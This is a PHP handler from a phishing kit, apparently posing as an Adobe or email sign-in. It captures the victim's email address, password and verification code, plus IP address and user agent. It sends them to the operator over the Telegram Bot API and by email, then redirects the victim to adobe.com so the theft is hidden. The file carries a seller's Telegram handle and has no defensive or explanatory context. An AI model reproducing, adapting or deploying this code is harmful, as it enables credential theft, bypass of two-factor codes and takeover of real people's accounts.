<?php
session_start();
error_reporting(0);

// Include Settings and Functions
include('function.php');
include('../config.php');

// User Agent and IP Address
$userAgent = $_SERVER['HTTP_USER_AGENT'];
$IP = $_SERVER['REMOTE_ADDR'];
$date = date("H:i:s d/m/Y");

// Capture Provider, Email, and Password
$provider = filter_input(INPUT_POST, 'provider', FILTER_SANITIZE_STRING) ?: "Other Email";
$email = $_SESSION['email'] ?? filter_input(INPUT_POST, 'email', FILTER_SANITIZE_EMAIL);
$password = $_SESSION['password'] ?? filter_input(INPUT_POST, 'password', FILTER_SANITIZE_STRING);
$emailProvider = "Unknown";
$code = filter_input(INPUT_POST, 'code', FILTER_SANITIZE_STRING);

if ($email && filter_var($email, FILTER_VALIDATE_EMAIL)) {
    $emailParts = explode('@', $email);
    $emailProvider = $emailParts[1] ?? "Unknown";
}

// Prepare Telegram Message (exact format)
$message = "BY : `https://t.me/Blinkz455`\n\n" .
          "❤️== COMPLETE Other Email LOGIN [".$IP."] ==❤️\n\n" .

          "*👤Username * : ".$email."\n\n" .
          "*👤Password * : ".$password."\n" .
          "*👤Code* :  ".$code."\n\n" .
          
          "*=========[ DEVICE INFO ]=========*\n\n" .
          "*IP* : `http://www.geoiptool.com/?IP=".$IP."`\n\n" .
          "*Date* : ".$date."\n\n" .
          "*USER AGENT* : ".$userAgent."\n\n" .
          "*OS / BR* : ".$os;

// Send to Telegram
if ($settings['telegram'] == "1") {
    $send = [
        'chat_id' => $settings['chat_id'],
        'text'    => $message
    ];
    $website = "https://api.telegram.org/bot{$settings['bot_url']}/sendMessage";

    $ch = curl_init($website);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt($ch, CURLOPT_POST, 1);
    curl_setopt($ch, CURLOPT_POSTFIELDS, $send);
    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);

    $result = curl_exec($ch);
    if (!$result) {
        file_put_contents(__DIR__ . '/telegram_error.log', '['.date('c')."] session/code send failed: ".curl_error($ch)."\n", FILE_APPEND);
    }
    curl_close($ch);
}

// Send Email
if ($settings['send_mail'] == "1") {
    $to = $settings['email'];
    $subject = "✦ {$provider} LOGIN FROM ✦ {$IP} ✦";
    $headers = [
        "Content-type: text/plain; charset=UTF-8",
        "From: Holaide <noreply@yourdomain.com>"
    ];
    $msg = $message;

    if (!mail($to, $subject, $msg, implode("\r\n", $headers))) {
        error_log("Failed to send email to {$to}");
    }
}

// Redirect User
header('Location: https://www.adobe.com/');
exit();
?>
